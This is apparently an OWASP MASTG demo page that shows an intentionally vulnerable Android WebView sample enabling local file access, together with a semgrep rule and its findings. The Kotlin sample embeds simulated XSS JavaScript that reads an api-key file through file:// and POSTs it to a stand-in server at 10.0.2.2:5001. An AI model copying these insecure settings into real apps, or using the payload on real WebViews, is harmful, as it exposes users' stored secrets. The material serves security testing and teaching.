Skip to content

MASTG-DEMO-0032: Uses of WebViews Allowing Local File Access with semgrep

Download MASTG-DEMO-0032 APK Open MASTG-DEMO-0032 Folder Build MASTG-DEMO-0032 APK

Sample

This sample demonstrates the use of WebViews allowing local file access in an Android app and how an attacker could exploit these settings to exfiltrate sensitive data from the app's internal storage using file:// URIs.

In this demo we focus on the static analysis of the code using semgrep and don't run the app nor the attacker server.

See Uses of WebViews Allowing Local File Access with Frida for all the details about the sample and the attack.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
package org.owasp.mastestapp

import android.content.Context
import android.webkit.WebView
import java.io.*

/**
 * This class writes a sensitive file ("api-key.txt") into internal storage and then loads a vulnerable
 * page into a WebView. That page simulates an XSS injection:
 * an attacker's script (running in the context of the vulnerable page) makes an `XMLHttpRequest` to
 * read the sensitive file via the file system and then uses `fetch` to send the content to an external server.
 *
 * By loading the page with a `file://` base URL and enabling universal access from file URLs,
 * we relax the default restriction (which would otherwise treat `file://` requests as opaque origin)
 * and allow the `XMLHttpRequest` to succeed.
 */
class MastgTestWebView(private val context: Context) {

    fun mastgTest(webView: WebView) {
        // Write a sensitive file (for example, cached credentials or private data).
        val sensitiveFile = File(context.filesDir, "api-key.txt")
        sensitiveFile.writeText("MASTG_API_KEY=072037ab-1b7b-4b3b-8b7b-1b7b4b3b8b7b")
        val filePath = sensitiveFile.absolutePath

        // Configure the WebView.
        webView.settings.apply {
            /* `javaScriptEnabled` is required for the attacker's script to even execute.
             * This is very common in WebViews, unless they only load static content.
            */
            javaScriptEnabled = true

            /* `allowFileAccess` is required in this attack since it
             * allows the WebView to load local files from the app's internal or external storage.
             * This app has a `minSdkVersion` of 29, the default value is `true`
             * unless you run it on a device with an API level of 30 or higher.
            */
            allowFileAccess = true

            /* `allowFileAccessFromFileURLs` is required in this attack since it
             * lets JavaScript within those local files access other local files.
            */
            allowFileAccessFromFileURLs = true

            /* `allowUniversalAccessFromFileURLs` is not really required in this attack because
             * the `allowFileAccessFromFileURLs` setting already allows the attacker's script to
             * access the sensitive file via the file system.
            */
            // allowUniversalAccessFromFileURLs = true
        }

        // Vulnerable HTML simulating an XSS injection.
        // The attacker-injected script uses XMLHttpRequest to load the sensitive file from the file system.
        val vulnerableHtml = """
            <html>
              <head>
                <meta charset="utf-8">
                <title>MASTG-DEMO</title>
              </head>
              <body>
                <h1>MASTG-DEMO-0032</h1>
                <p>This HTML page is vulnerable to XSS. An attacker was able to inject JavaScript to exfiltrate data from the app internal storage using file:// URIs.</p>
                <p>The file is located in $filePath</p>
                <p>NOTE: For demo purposes we display the exfiltrated data on screen. However, the user wouldn't even notice as the data is exfiltrated silently.</p>
                <script type="text/javascript">
                  function exfiltrate(data) {

                    var output = document.createElement("div");
                    output.style.color = "white";
                    output.style.borderRadius = "5px";
                    output.style.backgroundColor = "red";
                    output.style.padding = "1em";
                    output.style.marginTop = "1em";
                    output.innerHTML = "<strong>Exfiltrated Data:</strong><br>" + data;
                    document.body.appendChild(output);

                    // Send the text file content to the external server
                    fetch('http://10.0.2.2:5001/receive', {
                        method: 'POST',
                        headers: {
                            'Content-Type': 'text/plain'
                        },
                        body: data
                    })
                    .then(response => console.log('File content sent successfully.'))
                    .catch(err => console.error('Error sending file content:', err));
                  }
                    function readSensitiveFile() {
                      var xhr = new XMLHttpRequest();
                      xhr.onreadystatechange = function() {
                        if (xhr.readyState === XMLHttpRequest.DONE) {
                          // For local file requests, a status of 0 with a non-empty responseText indicates success.
                          if (xhr.status === 200 || (xhr.status === 0 && xhr.responseText)) {
                            exfiltrate(xhr.responseText);
                          } else {
                            exfiltrate("Error reading file: " + xhr.status);
                          }
                        }
                      };

                      xhr.onerror = function() {
                        exfiltrate("Network error occurred while reading the file.");
                      };

                      xhr.open("GET", "$filePath", true);
                      xhr.send();
                    }
                  // Simulate the injected payload triggering.
                  readSensitiveFile();
                </script>
              </body>
            </html>
        """.trimIndent()

        // Load the vulnerable HTML.
        // Using a base URL with the file:// scheme gives the page a non‑opaque origin (using content:/// works the same way).
        webView.loadDataWithBaseURL(
            "file:///",
            vulnerableHtml,
            "text/html",
            "UTF-8",
            null
        )
    }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools">

    <uses-permission android:name="android.permission.INTERNET" />

    <application
        android:allowBackup="true"
        android:usesCleartextTraffic="true"
        android:dataExtractionRules="@xml/data_extraction_rules"
        android:fullBackupContent="@xml/backup_rules"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/Theme.MASTestApp"
        tools:targetApi="31">
        <activity
            android:name=".MainActivityWebView"
            android:exported="true"
            android:theme="@style/Theme.MASTestApp">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>

Steps

Let's run semgrep rules against the sample code.

../../../../rules/mastg-android-webview-allow-local-access.yml
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
rules:
  - id: mastg-android-webview-settings
    severity: INFO
    languages:
      - java
    metadata:
      summary: This rule detects WebView settings related to local file access and JavaScript execution.
    message: "[MASVS-PLATFORM-2] Detected WebView settings."
    pattern-either:
      - pattern: $WEBVIEW.getSettings(...);
      - pattern: $SETTINGS.setJavaScriptEnabled($ARG);
      - pattern: $SETTINGS.setAllowContentAccess($ARG);
      - pattern: $SETTINGS.setAllowFileAccessFromFileURLs($ARG);
      - pattern: $SETTINGS.setAllowFileAccess($ARG);
      - pattern: $SETTINGS.setAllowUniversalAccessFromFileURLs($ARG);
run.sh
1
2
#!/bin/bash
NO_COLOR=true semgrep -c ../../../../rules/mastg-android-webview-allow-local-access.yml ./MastgTestWebView_reversed.java > output.txt

Observation

The output shows all WebView settings found in the code.

output.txt
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
┌─────────────────┐
 4 Code Findings 
└─────────────────┘

    MastgTestWebView_reversed.java
      rules.mastg-android-webview-settings
          [MASVS-PLATFORM-2] Detected WebView settings.

           29 WebSettings $this$mastgTest_u24lambda_u240 = webView.getSettings();
            ⋮┆----------------------------------------
           30 $this$mastgTest_u24lambda_u240.setJavaScriptEnabled(true);
            ⋮┆----------------------------------------
           31 $this$mastgTest_u24lambda_u240.setAllowFileAccess(true);
            ⋮┆----------------------------------------
           32 $this$mastgTest_u24lambda_u240.setAllowFileAccessFromFileURLs(true);

Evaluation

The test fails due to the following WebView settings being configured:

evaluation.txt
1
2
3
4
setJavaScriptEnabled: True
setAllowFileAccess: True
setAllowFileAccessFromFileURLs: True
setAllowUniversalAccessFromFileURLs: False

All these settings are explicitly set to true in the code, otherwise, they would remain at their default values (false).